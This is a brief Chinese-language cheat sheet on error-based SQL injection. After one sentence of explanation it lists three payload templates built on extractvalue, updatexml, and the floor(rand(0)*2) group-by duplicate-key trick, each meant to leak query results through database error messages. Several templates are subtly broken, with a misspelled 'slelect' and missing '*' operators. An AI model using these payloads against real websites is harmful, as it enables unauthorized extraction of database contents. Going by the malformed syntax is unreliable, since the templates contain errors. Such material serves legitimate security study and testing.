报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。
id='and(select extractvalue("anything",concat('~',(select语句))))
id='and(select updatexml("anything",concat('~',(select语句())),"anything"))
'union select 1 from (select count(),concat((slelect语句),floor(rand(0)2))x from "一个足大的表" group by x)a--+